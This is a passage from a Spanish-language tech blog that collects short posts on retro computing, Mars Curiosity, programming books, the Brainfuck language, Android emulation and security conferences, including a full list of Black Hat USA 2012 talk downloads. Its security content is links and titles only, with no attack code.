Ella tiene un buzón de correo relacionado con organismos de la Generalitat Valenciana y como ya la tengo avisada de que siempre que vea algo raro en su correo me lo diga ;) , rápidamente me lo ha hecho llegar para que le echara un vistazo.

Microsoft cambia su logo por primera vez desde …

Después de 25 años, Microsoft ha cambiado su logo oficial por este:

Ya se puede ver en su web oficial:

www.microsoft.com

Aquí podéis ver la evolución:

Si quieres saber más, visita el post original aquí.

Una máquina arcade de diseño para casa

Bonito diseño de máquina Arcade que seguro podéis poner en casa sin que tu novia/mujer se queje demasiado ;)

No ocupa mucho espacio y encajaría perfectamente en el salón de casa. No lleva un PC ejecutando MAME, aunque el autor comenta que se podría instalar sin problemas en su interior. Lo que lleva es un conector estándar Jamma para poder conectar placas originales.

Dimensiones: 560mm de ancho, 510mm de profundidad y 1790mm de alto

Huevo de pascua en Macintosh SE

En NYC Resistor un fantástico artículo sobre un huevo de pascua encontrado en la ROM de un Macintosh SE encontrado en la calle. Estos probaron que el ordenador encendía, pero como no tenían nada que probar en él, le sacaron dos de las ROMs que la placa base y empezaron a volcar su contenido. Haciendo uso de ingeniería inversa, se dieron cuenta que había una serie de bytes que no se correspondían con audio o código ejecutable. Después de investigar dichos bytes averiguaron que se trataba de una imagen, la cual encabeza esta entrada.

¿Revisas los permisos requeridos cuando instalas …

Fuente

Lectura técnica, que no falte

Aquí os dejo unos libritos técnicos para las vacaciones, el que las tenga.

• Structure and Interpretation of Computer Programs
• Linux Graphics Drivers book (PDF)
• Compiler Design: Theory, Tools, and Examples. C/C++ Edition (PDF)
• The Beauty of Bresenham's Algorithm
• Mining of Massive Datasets
• HTML Canvas Deep Dive
• Signal Processing for Communications
• Algorithms, 4th Edition
• Common Lisp: A Gentle Introduction to Symbolic Computation
• Time-Saving VS11 and ASP.NET 4.5 Features You Shouldn’t Miss
• PHP: The Right Way
• Mobile Design & Development
• Programming Windows 8 Apps, Free ebook from Microsoft Press

Microhistorias: la historia secreta del hardware …

¿Qué Microsoft no ha fabricado hardware?, yo pensaba eso hasta que vi este artículo en PCMagazine donde nos muestran algunos productos de hardware (en concreto diez) fabricados por Microsoft.

Muchos son expansiones y mejoras para, como no, Apple. Hasta mediados de los 80 ya sabéis que Apple y Microsoft tenían una buena relación.

La primera de las que se habla en el artículo original es la Microsoft SoftCard (1980), una tarjeta para Apple II que tenía un Z80 y que permitía ejecutar el sistema operativo CP/M y todo su software. Casi podemos decir que intentaba convertir en un PC al Apple II. Por cierto, se vendió bastante bien en la época.

MGMT, Kids (Soulwax Remix), para esta mañana de …

Si esto no te despierta … ;)

MGMT

Material del 21 simposio sobre seguridad USENIX

El simposio sobre seguridad USENIX, celebró su vigésimo primer evento los pasados 8 al 10 de agosto en Washington. Aunque su nombre te lleve a pensar que es un evento de seguridad orientado a sistemas *NIX, no lo es. Es un evento enfocado a los sistemas de cómputo en general. En estos momentos ya podemos acceder a todas las presentaciones dadas, las cuales puedes ver en la siguiente lista (los enlaces son PDFs):

Vangelis improvisando en su estudio

httpv://youtu.be/EiFKU4UigEw

El creador de la banda sonora de Blade Runner y la serie Cosmos de Carl Sagan (entre otras muchas obras geniales) Vangelis, se recrea en su estudio improvisando con todo su tecnología musical de la época (totalmente retro para nosotros, pero que tiene ese sonido característico que nos transporta).

Se emitió en 1982 en el programa español de TV llamado Nostalgia.

Fantástico, visto en io9.

De regalo, esta otra en París:

Fundamentos del direccionamiento de memoria en C

Excelente artículo (no es extenso y es muy claro) donde Dennis Ku*bes nos explica los fundamentos de como funciona la memoria cuando programamos en lenguaje C. Conceptos básicos que nos aclaran el funcionamiento en la memoria de matrices (array) y structs.

En los comentarios he visto esta otra web:

http://www.c-faq.com/

muy útil para ampliar estos conceptos y otros muchos sobre el lenguaje C.

Visto en HackerNews.

Artículo original (en inglés).

Microhistorias: La creación de Warcraft

(C) Blizzard, captura imagen juego Warcraft: Orcs & Humans

Patryck Wyatt trabajó (ahora trabaja  para GuildWars)   en Blizzard como director (de proyectos) y programador siendo una de sus creaciones más importante, la plataforma para jugar a los juegos online, llamada Battle.net. Otros proyectos en los que trabajó como programador jefe fueron nada más y nada menos que Warcraft, Warcraft II, Diablo y Diablo II.

Creo que tenemos que echar un vistazo a lo que nos tiene que contar.

Los 7 pecados que comete un emprendedor …

Link

Just in Life, nueva película de Dany Saadia sobre …

Si pudieras reescribir la historia … ¿lo harías?

Nuestro querido amigo Dany Saadia (director de 3:19) está realizando una campaña de crowdfunding para poder llevar empezar su nuevo proyecto, una película de ciencia ficción sobre viajes en el tiempo (echa un vistazo al vídeo del post).

Necesitan financiación para:

Er docu der finde: Megafactorías, EA Sports: FIFA …

Colección de plantillas sobre seguridad en …

Ya todos conocemos el magnífico proyecto dedicado a la seguridad de aplicaciones web OWASP (The Open Source Web Application Project). Si desarrollas aplicaciones web y no lo conoces o trabajas en el campo de seguridad y tienes que auditar aplicaciones web, ya estás tardando en añadirlo a tus favoritos.

De entre muchas de las páginas e información que nos ofrece este wiki, esta página en concreto contiene una serie de plantillas sobre temas muy específicos con los que nos vamos a encontrar mientras desarrollamos nuetra aplicación. Además también tienen un par de referencias sobre la seguridad en móviles, más algunas otras que no están aún terminadas.

Cómo la adicción a los video juegos afecta a los …

Created by: www.OnlineGraduatePrograms.com

Evaluación de seguridad en aplicaciones Android

Android Security Evaluation Framework o ASEF es básicamente un dispositivo virtual de Android (AVD - Android Virtual Device) pre-configurado capaz de estudiar el comportamiento de una o varias aplicaciones Android. La idea es importar dentro de este una o varias aplicaciones de un dispositivo Android, ya sean éstas, pre-instaladas por nuestro proveedor o instaladas por nosotros mismos.

Este framework o marco de trabajo simula el ciclo completo de una aplicación y recoge toda la información que la aplicación maneja. Éste requiere intervención del usuario, es decir, el proceso sería instalar una aplicación dentro de este dispositivo virtual y jugar con dicha aplicación, ASEF monitorizará y guardará toda la actividad generada y luego basado en la colección de dichos datos aplica un serie de análisis cuyo objetivo es detectar comportamiento fuera de los normal, envío de datos personales: IMEI, IMSI, número de teléfono, etc.

The Exploit Magazine #1

Hace unos días ha visto la una nueva revista electrónica orientada al campo de la seguridad informática y dentro de éste, enfocado a la explotación de vulnerabilidades (exploits), su nombre: The Exploit Magazine.

En el primer número podemos encontrar sólo dos artículos, pero bastante extensos. Ambos tratan sobre Metasploit.

Los artículos son:

Metasploit Demystified – Introduction to the Metasploit Framework Metasploit: Part-I

Para descargarla tienes que registrarte. Aquí tienes los distintos planes de suscripción. Como ves tienes una versión gratuita, pero sólo tienes acceso a los artículos gratuitos.

DVD de la Defcon 20 disponible para descarga

Ya está disponible para descarga el DVD de la Defcon 20 celebrada el mes pasado en Las Vegas. El DVD contiene las diapositivas de las charlas, información del badge (identificación), fotos, historias, etc. Lo podéis descargar desde aquí.

También te puedes descargar el programa de este año desde este otro enlace (PDF)

ClubHack Magazine #31

Número 31 del mes de agosto ya disponible:

0x00 Tech Gyan - Malware Memory Forensics 0x01 Tool Gyan - Tamper Data 0x02 Mom's Guide - Apple iOS vulnerabilities 0x03 Legal Gyan - VARIOUS AUTHORITIES UNDER THE IT ACT 0x04 Matriux Vibhag - Matriux Ec-Centric 0x05 Poster - "Security by luck, not possible"

La puedes descargar desde aquí (PDF)

Fuente

Conferencia de desarrolladores noruegos 2012 - …

NDC (Norwagian Developers Conference) 2012 se celebró el pasado mes de junio. Desde la página de la agenda puedes acceder a todas las charlas que se dieron. Las hay para todos los gustos:

Keynote: A Happy Grain of Sand Getting Agile with Scrum WebGL What? Inside Mono for Android Cut The Rope: from iOS to HTML5 to Windows 8 Decisions, decisions Ideas for efficient BDD with SpecFlow through examples Just cause it’s JavaScript, doesn’t give you a license to write rubbish Making an awesome Open-Source Project Tutorial: Enterprise development with NServiceBus Leading a Self-Organizing Team HTML5 Game Development Patterns of Mobile Application Development Windows 8 Apps with HTML5 and JavaScript: from zero to hero! MicroService Architecture Five Things You Didn’t Know About PostGresSQL Professional Software Development NuGet: Zero to DONE in no time. Tutorial: Enterprise development with NServiceBus Agile Estimating Real World NodeJS - Creating the Tekpub API Mobile, How Do I Develop Thee? Let Me Count the Ways Introduction to XAML in Windows 8/Metro Object Orientation Revisited. Simplicity and power with DCI. Roslyn… hmmmm… what? Building External DSLs for Fun and Profit Hacking .Net Applications: The Black Arts Tutorial: Enterprise development with NServiceBus Advanced Topics in Agile Planning The rise of server-side JavaScript One Service, Any Device, Any Experience: ASP.NET Web API, JSON, and Windows 8, Windows Phone, iOS, and Android Metro Design Principles Modeling Distributed Systems with NServiceBus Studio WCF Extensibility: Tapping into the calls Advances in Code Contracts for .NET Authentication & Authorization in .NET 4.5 - Claims & Tokens become the standard Model VIM for aspiring #ithipsters Scaling Agile to Work with a Distributed Team Learning to love HTML and CSS (for grumpy developers) Windows Phone 7.5 Background workers Bringing Wordfeud to WP7 and Windows 8 Crafting Wicked Domain Models Fakes, Isolating Unit Tests How we do language design at Microsoft: VB and C# Mind Control Your Computer In C#: Natural User Interfaces Through The Power Of Thought NServiceBus Hackathon User Stories for Agile Requirements The Outliers of HTML5 Not a Mobile Developer? Not a Developer! In and out in WinRT The Single Responsibility Principle. Nemerle Programming Language Continuous testing Social Clairvoyance - Data mining the social web When The Wheels Come Off Agile ASP.NET 4.5: What’s in the box? JavaScript All Over - Sticking Your Big Toe in Node.js Developing hybrid solutions with Windows Azure Service Bus, WF and BizTalk Server 2010 Clean Architecture Rediscovering JavaScript The Software Team Leader Manifesto The Process, Technology and Practice of Continuous Delivery Introduction to ASP.NET MVC with ASP.NET MVC 4 Embracing Uncertainty Microsoft’s Modern Web Stack, Starring ASP.NET Web API Learn how to build a modern browser applications using Backbone.js and Service Stack A WIF Of Security In SharePoint And Azure Design Patterns for .NET Programmers BDD: Busting the myths I Can’t Believe It’s Not Roslyn–Using Nemerle Macros to extend the C# Language Continuous Delivery story with FIFA Introduction to ASP.NET MVC with ASP.NET MVC 4 Scaling Agile Teams Securing ASP.NET Web APIs Interactive user experience: natural user interfaces Extending XAML To Overcome Pretty Much Any Limitation Commands, Queries, and Consistency Git and GitHub for Developers on Windows Reinventing software quality A Thousand deliveries a Day at AppHarbor CyberDojo - genuine coding practice Moving from Scrum to Kanban HTML5 WebSockets and Socket.IO Creating User Experiences: Unlocking the Invisible Cage Windows Azure Access Control - Outsourcing Security to the cloud What is OO? Where did it come from? Where is it going? Full-text search with Lucene and neat things you can do with it Dynamic .NET Demystified Six aspects of successful software delivery CyberDojo - genuine coding practice The surprising science behind agile leadership CSS in the 4th dimension: Not your daddy’s CSS animations Designing for Touch on Any Platform Cloud Computing: More Than Just Hosting RavenDB data modeling walkthrough Introduction to Rx Branch-per-Feature in the realm of Agile and .NET development Patterns of Effective Delivery You’re in production. Now what? Mind-blowing Apps with HTML5 Canvas ASP.NET MVC and jQuery Mobile How to think cost when programming Cloud Computing apps? Dealing with Dynamically-Typed Legacy Code Git More Done A Better Way To Learn Refactoring Ten Web Performance Tuning Tricks in 60 Minutes Script your phone on your phone with touchdevelop. How to get productive in a project in 24h Dataflow networks in .NET 4.5 .NET Rocks! Panel - The State of Agile And The Road Ahead The Cloud Security Rules Deep Design Lessons Debugging the Web with Fiddler Revealing the SQL Server Magic SignalR: Awesome in Real-Time with ASP.NET Developers: The Prima Donnas of the 21st Century Hybrid Applications with MongoDB and RDBMS MVVM Applied: From Silverlight to Windows Phone to Windows 8 What’s New in Windows Azure: 10,000 Meter Edition An architecture remake Gamifying testing by accident with pex4fun. Thinking in Functional Style using F# and (some) C# What?!? C# Could Do That?!? GOAL - Game Oriented Agile Learning Agile, Lean, and the Space Between HTML5 and CSS3: does now really mean now? Xamarin - State of the Union Hell has frozen over: writing Node.js apps for Windows Azure Beyond the compiler - going up to 11 with conventions in a statically typed language RabbitMQ Hands On F# in action: playing functional Conway’s game of life Gesture Recognition with Kinect for Windows GOAL - Game Oriented Agile Learning What Does Self-Organizing Team Really Mean? How to Destroy the Web MonoTouch - C# + iOS = Good Times Making your Application Cloud-ready Neo4j in a .NET world Evolution of the Entity Framework NDC 2012 Cage Match: NodeJS vs. ASP.NET How GitHub Works GOAL - Game Oriented Agile Learning Programmer Anarchy Accessibility doesn’t exist! Creating UX with Story Boarding Make Windows Phone games! .NET On a Diet Introduction to OWIN and Gate Clojure for the Web Async Part 1 – new feature in Visual Studio 11 for responsive programming. 10 things you can do to better lead your agile team Responsive Web Design SharePoint, Office 365, JavaScript And Azure Big time: introducing Hadoop on Azure The era of tiny REST with ASP.NET MVC Pure JavaScript Async Part 2 – deep dive into the new language feature of VB/C# You had me at Halo Metaprogramming with Nemerle From Zero to Hero - Get Social With Facebook Using Amazon S3 & CloudFront for Scalable and Secure Distribution Caring about Code Quality No more magical webservices feat. ServiceStack .NET in the physical and meta-physical world Continuous integration - char by char

Para este domingo de calor por la mañana, …

Espectacular canción de Japandroids para refrescarte este domingo por la mañana.

El "Hola Mundo" del lenguaje Brainfuck

[sourcecode language=“c”] ++++++++++ [ Bucle para iniciar las memorias (se repite 10 veces) >+++++++>++++++++++>+++++++++++>+++>+<<<<<- 70 100 110 30 10 ] >++. imprime ‘H’ (72) 1 >>+. imprime ‘o’ (111) 3 —. ’l’ (108) 3 <—. ‘a’ (97) 2 >>++. espacio (32) 4 <+. ’m’ (109) 3 ++++++++. ‘u’ (117) 3 ——-. ’n’ (110) 3 <+++. ’d’ (100) 2 >+. ‘o’ (111) 3 >+. ‘!’ (33) 4 >. ‘\n’ (10) 5 [/sourcecode]

PAC-MAN The Movie (The Fan Film)

No está en español, pero merece la pena de ver. Son sólo poco más de 6 minutos

¿Cómo consumimos banda ancha?

Presented By: OnlineColleges.net

The MagPi #4

Ya está disponible el número de agosto de The MagPi en su cuarto número. El índice de éste es el siguiente:

IN CONTROL More interfacing tips from Darren at Tandy. 3-AXIS ACCELEROMETER WITH MICRO SOLDERING A cheap 3-axis accelerometer solution by Rob McDougal. WHAT’S ON GUIDE & COMPETITION Find out where Raspberry Jam’s are happening and a chance to win a limited edition MagPi case. KERNOW PI LAUNCH Ash Stone attends a special launch - Introducing the Pi to Cornish schools. EBEN & LIZ: THE INTERVIEW We put your questions to Eben and Liz Upton from the Raspberry Pi Foundation. LETTER OF THE MONTH Making A GPIO Interface Buffer by J Ellerington. HOW TO CUSTOMISE YOUR LXDE MENU Jaseman shows you how to un-clutter your LXDE menu. COMMAND LINE CLINIC More tips from Bredman on controlling Linux from the command prompt. C CAVE The second part of our introduction to C programming. THE SCRATCH PATCH A frogger-like game by Antiloquax. THE PYTHON PIT This month The Python Pit demonstrated keyup/keydown events in a fun game by Antiloquax and Jaseman. FEEDBACK & DISCLAIMER

Er docu der finde: 101 artefactos que cambiaron el …

Doom 3 portado a Android

En este repositorio de Github hay una version de Doom 3 portada por kkszysiu basado en el trabajo anterior realizado por dante. Como su autor indica es un simple experimento y no está terminado. Para compilarlo necesitas las SDK 10 de Android (Android platform-10 SDK) y las Android SDK Platform-tools. En la página del repositorio tienes los pasos a seguir.

¡Suerte!

Programando desde el Paint

¿Quién dijo que vi o vim era el mejor editor para programar? ¿Emacs? Los hombres programan desde el ¡Paint! Haz click en la imagen y lo comprobarás.

Manual del emprendedor "SIN RECURSOS"

 

LOS 12 MANDAMIENTOS:

1. Buscarás las necesidades que el mercado no ha satisfecho

2. Confiarás en el networking más que  en ti mismo

3. Te asociarás solo con aquellos capaces de fijar la mirada en el mismo punto que tú

4. Conocerás a tus competidores como a ti mismo

5. Administrarás tus recursos como tu vida misma

Comparando la altura de un AT-AT con varios …

Interesante (y friki) comparativa (1 pie=0,3 metros) , el tamaño de un AT-AT comparado con varios edificios (reales y ficticios) incluida la torre de Sauron en Mordor.

Visto aquí desde  Reddit.

Confirmado aterrizaje de Curiosity y primeras …

La Curiosity, el laboratorio rodante más grande jamás construido para pisar otro planeta llega sin problemas a Marte. Un aterrizaje muy muy suave y completamente perpendicular (no se observan marcas de huellas). Impresionante trabajo. Para seguirlo al segundo: @MarsCuriosity.

Tres formas de instalar y ejecutar aplicaciones …

1. Android x86 (32 bits), es un SO Android modificado para PC, por eso tiene una memoria muy limitada y no funcionan todas las aplicaciones.
2. Android SDK, esta es la opción más utilizada, no tiene problemas de memoria pero es lento.
3. Y la tercera, y posiblemente la mejor de todas, puedes usar Bluestacks App Player. Esta utilidad es un simple programa que te permite ejecutar Apps de Android en pantalla completa. Tiene un interface parecido al de un teléfono y es un framework virtual donde emula un entorno Android donde se pueden ejecutar las aplicaciones. Sólo tienes que descargar Bluestacks App player e instalarlo (XP y Vista deben tener la última versión de Service Pack para instalarlo), también funciona perfectamente en Windows 7 y Windows 8. Haz doble click sobre el fichero .apk y la App se instalará automáticamente.

Visto en 7-Labs.

Mars Science Laboratory (también conocido como …

Lanzada el 26 de Noviembre de 2011, hoy llega a su destino (7:31 hora de España), Marte.

En Microsiervos nos ofrecen varios enlaces y recursos para seguir en directo el descenso.

Vamos a cruzar los dedos para que todo vaya bien y en unos días (la sonda necesitará algunos días para estar operativa después del aterrizaje) podamos disfrutar de las espectaculares fotos y datos que vamos a recibir desde este magnífico laboratorio (del tamaño de un coche) equipado lo último en tecnología.

Collapse Under The Empire, Depending on You, para …

Collapse Under The Empire

Guía para crear tu empresa (Infografía)

SÍ, YA SÉ QUE…

España va mal…

los bancos ya no dan crédito a las empresas…

el futuro es incierto…

PERO…

si tienes una idea rondándote por la cabeza y estas en paro…

si no tienes un euro pero tienes todo el tiempo del mundo…

si has de sudar sangre por cada euro que ganas y crees que puedes hacerlo mejor que tu jefe…

Er docu der finde: Fábrica de espías

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Parte 5/5

¿De dónde viene el malware? (Infografía)

Fuente

Pauldotcom Episodio 13

Otro nuevo podcast de Pauldotcom en español, donde Carlos Pérez entrevista a Jaime “DragonJar”.

Podéis acceder al podcast desde aquí

Un fichero capaz de simular varios formatos de …

Cabecera real del fichero CorkaMIX.exe

Este ejemplo creado íntegramente en asm, sólo sirve para probar que un fichero puede ser dado por válido por el sistema simulando ser varios tipos de ficheros distintos.

Este fichero CorkaMIX.zip puede ser a la vez:

• Programa portable ejecutable (PE)
• Documento PDF
• Oracle Java JAR (o una clase dentro dentro de un ZIP) ó Script Python
• Página HTML

Interesante para analizar y jugar un rato con los formatos de ficheros.

Puedes descargarlo desde aquí, CorkaMIX.zip

Para compilarlo:

[sourcecode language="bash"] yasm -o corkamix.exe corkamix.asm [/sourcecode]

Resumiendo, si la información del formato del fichero no empieza en el offset 0, puede llevar a confusión al sistema y a creer que el fichero es válido para varios formatos.

Más información en la web del autor aquí.

Visto en Reddit.

Información sobre cabeceras de ficheros: FileSignaturesFormat

Presentaciones de la BlackHat USA 2012

Ya están disponibles para descarga el material de las charlas que se dieron en la BlackHat USA 2012 pasado mes de julio en Las Vegas:

• A Scientific (But Non Academic) Study of How Malware Employs Anti-Debugging, Anti-Disassembly and Anti-Virtualization Technologies
  • BH_US_12_Branco_Scientific_Academic_WP.pdf
  • BH_US_12_Branco_Scientific_Academic_Slides.pdf
• A Stitch in Time Saves Nine: A Case of Multiple Operating System Vulnerability
  • BH_US_12_Wojtczuk_A_Stitch_In_Time_WP.pdf
  • BH_US_12_Wojtczuk_A_Stitch_In_Time_Slides.pdf
• Adventures in Bouncerland
  • BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
  • BH_US_12_Percoco_Bouncerland_Slides.pdf
• AMF Testing Made Easy!
  • BH_US_12_Carettoni_AMF_Testing_WP.pdf
  • BH_US_12_Carettoni_AMF_Testing_Slides.pdf
• Source.zip
• Are You My Type? - Breaking .NET Sandboxes Through Serialization
  • BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
  • BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf
• Blended Threats and JavaScript: A Plan for Permanent Network Compromise
  • BH_US_12_Purviance_Blended_Threats_WP.pdf
  • BH_US_12_Purviance_Blended_Threats_Slides.pdf
• Clonewise - Automated Package Clone Detection
  • BH_US_12_Cesare_Clonewise_WP.pdf
  • BH_US_12_Cesare_Clonewise_Slides.pdf
• Confessions of a WAF Developer: Protocol-Level Evasion of Web Application Firewalls
  • BH_US_12_Ristic_Protocol_Level_WP.pdf
  • BH_US_12_Ristic_Protocol_Level_Slides.pdf
• Control-Alt-Hack(TM): White Hat Hacking for Fun and Profit (A Computer Security Card Game)
  • BH_US_12_Kohno_Control_Alt_Hack_WP.pdf
  • BH_US_12_Kohno_Control_Alt_Hack_Slides.pdf
• DE MYSTERIIS DOM JOBSIVS: Mac EFI Rootkits
  • BH_US_12_LoukasK_De_Mysteriis_Dom_Jobsivs_WP.pdf
  • BH_US_12_LoukasK_De_Mysteriis_Dom_Jobsivs_Slides.pdf
• Digging Deep Into The Flash Sandboxes
  • BH_US_12_Sabanal_Digging_Deep_WP.pdf
  • BH_US_12_Sabanal_Digging_Deep_Slides.pdf
• Don't Stand So Close To Me: An Analysis of the NFC Attack Surface
  • BH_US_12_Miller_NFC_attack_surface_WP.pdf
  • BH_US_12_Miller_NFC_attack_surface_Slides.pdf
  • BH_US_12_Miller_NFC_attack_surface_Code.zip
• Easy Local Windows Kernel Exploitation
  • BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
  • BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf
• Errata Hits Puberty: 13 Years of Chagrin
  • BH_US_12_Jericho_Errata_Slides.pdf
• Exchanging Demands
  • BH_US_12_Hannay_Exchanging_Demands_WP.pdf
  • BH_US_12_Hannay_Exchanging_Demands_Slides.pdf
  • BH_US_12_Hannay_Exchanging_Demands_Code.zip
• Exploit Mitigation Improvements in Win 8
  • BH_US_12_Miller_Exploit_Mitigation_Slides.pdf
• Exploiting the jemalloc Memory Allocator: Owning Firefox's Heap
  • BH_US_12_Argyroudis_Exploiting_the_ jemalloc_Memory_ Allocator_WP.pdf
  • BH_US_12_Argyroudis_Exploiting_the_ jemalloc_Memory_ Allocator_Slides.pdf
  • BH_US_12_Argyroudis_Exploiting_the_ jemalloc_Memory_ Allocator_Code.zip
• File disinfection framework: Striking back at polymorphic viruses
  • BH_US_12_Vuksan_Pericin_Disinfection_Framework_WP.pdf
• Flowers for Automated Malware Analysis
  • BH_US_12_Song_Royal_Flowers_Automated_WP.pdf
  • BH_US_12_Song_Royal_Flowers_Automated_Slides.pdf
• From the Iriscode to the Iris: A New Vulnerability of Iris Recognition Systems
  • BH_US_12_Galbally_Iris_Reconstruction_WP.pdf
  • BH_US_12_Galbally_Iris_Reconstruction_Slides.pdf
• Ghost is in the Air(traffic)
  • BH_US_12_Costin_Ghosts_In_Air_WP.pdf
  • BH_US_12_Costin_Ghosts_In_Air_Slides.pdf
• Google Native Client - Analysis Of A Secure Browser Plugin Sandbox
  • BH_US_12_Rohlf_Google_Native_Client_WP.pdf
  • BH_US_12_Rohlf_Google_Native_Client_Slides.pdf
• Hacking the Corporate Mind: Using Social Engineering Tactics to Improve Organizational Security Acceptance
  • BH_US_12_Philput_Hacking_The_Corporate_Mind_WP.pdf
  • BH_US_12_Philput_Hacking_The_Corporate_Mind_Slides.pdf
• Hacking with WebSockets
  • BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf
• Hardware backdooring is practical
  • BH_US_12_Brossard_Backdoor_Hacking_WP.pdf
  • BH_US_12_Brossard_Backdoor_Hacking_Slides.cpgz
• Here Be Backdoors: A Journey Into The Secrets Of Industrial Firmware
  • BH_US_12_Santamarta_Backdoors_WP.pdf
• Hookin' ain't easy: BeEF injection with MITM
  • BH_US_12_Ocepek_Linn_BeEF_MITM_WP.pdf
  • BH_US_12_Ocepek_Linn_BeEF_MITM_Slides.pdf
• How many bricks does it take to crack a microcell?
  • BH_US_12_Rowley_Microcell_Bricks_WP.pdf
  • BH_US_12_Rowley_Microcell_Bricks_Slides.pdf
• How the Analysis of Electrical Current Consumption of Embedded Systems Could Lead to Code Reversing?
  • BH_US_12_Allain_Current Consumption-WP.pdf
  • BH_US_12_Allain_Current Consumption-Slides.pdf
  • BH_US_12_Allain_Current Consumption-Code.zip
• HTML5 Top 10 Threats – Stealth Attacks and Silent Exploits
  • BH_US_12_Shah_Silent_Exploits_WP.pdf
  • BH_US_12_Shah_Silent_Exploits_Slides.pdf
• iOS Application Security Assessment and Automation: Introducing SIRA
  • BH_US_12_Engler_SIRA_WP.pdf
  • BH_US_12_Engler_SIRA_Slides.pdf
• iOS Kernel Heap Armageddon Revisited
  • BH_US_12_Esser_iOS_Kernel_Heap_Armageddon_WP.pdf
  • BH_US_12_Esser_iOS_Kernel_Heap_Armageddon_Slides.pdf
• Legal Aspects of Cyberspace Operations
  • BH_US_12_Clark_Legal_Aspects_Slides.pdf
• Looking Into The Eye Of The Meter
  • BH_US_12_Weber_Eye_of_the_Meter_WP.pdf
  • BH_US_12_Weber_Eye_of_the_Meter_Slides.pdf
• My Arduino Can Beat Up Your Hotel Room Lock
  • BH_US_12_Brocious_Hotel_Key_WP.pdf
  • BH_US_12_Brocious_Hotel_Key_Slides.pdf
• Owning bad guys {and mafia} with javascript botnets
  • BH_US_12_Alonso_Owning_Bad_Guys_WP.pdf
  • BH_US_12_Alonso_Owning_Bad_Guys_Slides.pdf
• Probing Mobile Operator Networks
  • BH_US_12_Milliner_Probing Mobile Operating_WP.pdf
  • BH_US_12_Milliner_Probing Mobile Operating_Slides.pdf
• SexyDefense - Maximizing the Home-Field Advantage
  • BH_US_12_Amit_Sexy_Defense_WP.pdf
  • BH_US_12_Amit_Sexy_Defense_Slides.pdf
• SQL Injection to MIPS Overflows: Rooting SOHO Routers
  • BH_US_12_Cutlip_SQL_Exploitation_WP.pdf
  • BH_US_12_Cutlip_SQL_Exploitation_Slides.pdf
  • BH_US_12_Cutlip_SQL_Exploitation_Code.zip
• SSRF vs. Business Critical Applications
  • BH_US_12_Polyakov_SSRF_Business_WP.pdf
  • BH_US_12_Polyakov_SSRF_Business_Slides.pdf
• State of Web Exploit Toolkits
  • BH_US_12_Jones_State_Web_Exploits_WP.pdf
  • BH_US_12_Jones_State_Web_Exploits_Slides.pdf
• Still Passing the Hash 15 Years Later? Using the Keys to the Kingdom to Access All your Data
  • BH_US_12_Duckwall_Campbell_Still_Passing_WP.pdf
  • BH_US_12_Duckwall_Campbell_Still_Passing_Slides.pdf
  • BH_US_12_Duckwall_Campbell_Still_Passing_Code.zip
• Targeted Intrusion Remediation: Lessons From The Front Lines
  • BH_US_12_Aldridge_Targeted_Intrustion_WP.pdf
  • BH_US_12_Aldridge_Targeted_Intrustion_Slides.pdf
• The Defense RESTs: Automation and APIs for Improving Security
  • BH_US_12_Mortman_Defense_RESTs_WP.pdf
  • BH_US_12_Mortman_Defense_RESTs_Slides.pdf
• The Info Leak Era on Software Exploitation
  • BH_US_12_Serna_Leak_Era_WP.pdf
  • BH_US_12_Serna_Leak_Era_Slides.pdf
• The Myth of Twelve More Bytes: Security on the Post-Scarcity Internet
  • BH_US_12_Ritter_Stamos_Myth_of_Twelve_More_Bytes_Slides.pdf
• The subway line 8 - Exploitation of Windows 8 Metro Style Apps
  • BH_US_12_Tsai_Pan_Exploiting_Windows8_WP.pdf
  • BH_US_12_Tsai_Pan_Exploiting_Windows8_Slides.pdf
• Torturing OpenSSL
  • BH_US_12_Bertacco_TorturingOpenSSL_WP.pdf
  • BH_US_12_Bertacco_TorturingOpenSSL_Slides.pdf
• Trust, Security, and Society
  • BH_US_12_Schneier_Liars_and_Outliers_WP.pdf
• We have you by the Gadgets
  • BH_US_12_Shkatov_Kohlenberg_Blackhat_Have_You_By_The_Gadgets_WP.pdf
  • BH_US_12_Shkatov_Kohlenberg_Blackhat_Have_You_By_The_Gadgets_Slides.pdf
• Web Tracking for You
  • BH_US_12_Fleischer_Implementing_Web_Tracking_gfleischer_WP.pdf
  • BH_US_12_Fleischer_Implementing_Web_Tracking_gfleischer_Slides.pdf
  • BH_US_12_Fleischer_Implementing_Web_Tracking_gfleischer_Code.zip
• Windows Phone 7 Internals and Exploitability
  • BH_US_12_Oi_Windows_Phone_WP.pdf
  • BH_US_12_Oi_Windows_Phone_Slides.pdf
• Windows 8 Heap Internals
  • BH_US_12_Atlas_GHZ_Workshop_Slides.pdf
  • BH_US_12_Atlas_GHZ_Workshop_Code.zip
• Advanced Chrome Extension Exploitation - Leveraging API Powers for the Better Evil
  • BH_US_12_Osborn_Kotowicz_Advanced_Chrome_Extension_WP.pdf
  • BH_US_12_Osborn_Kotowicz_Advanced_Chrome_Extension_Slides.pdf
  • BH_US_12_Osborn_Kotowicz_Advanced_Chrome_Extension_Code.zip
• Code Reviewing Web Application Framework Based Applications (Struts 2, Spring MVC, Ruby on Rails (Groovy on Grails), .NET MVC)
  • BH_US_12_Kang_Code_Reviewing_WP.pdf
• Lessons Of Binary Analysis
  • BH_US_12_Rioux_Lessons_Of_Binary_Analysis_Slides.pdf
• Linux interactive exploit development with GDB and PEDA
  • BH_US_12_Le_Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf
• Ruby for Pentesters: The Workshop
  • BH_US_12_Scott_ruby_for_pentesters_the_workshop_Slides.pdf
• HTExploit Bypassing Htaccess Restrictions
  • BH_US_12_Katz_Soler_HTExploit_WP.pdf
  • BH_US_12_Katz_Soler_HTExploit_Slides.pdf
  • HTExploit_v0.7b.zip
• libinjection: A C library for SQLi detection and generation through lexical analysis of real world attacks
  • BH_US_12_Galbreath_Libinjection_Slides.pdf
• ModSecurity as Universal Cross-platform Web Protection Tool
  • BH_US_12_Wroblewski_ModSecurity_Universal_WP.pdf
  • BH_US_12_Wroblewski_ModSecurity_Universal_Slides.pdf
• Passive Bluetooth Monitoring in Scapy
  • BH_US_12_Holeman_Demo.pdf
  • BH_US_12_Holeman_Panda.pdf
  • BH_US_12_Holeman_Passive_Bluetooth_Slides.pdf
  • source.zip
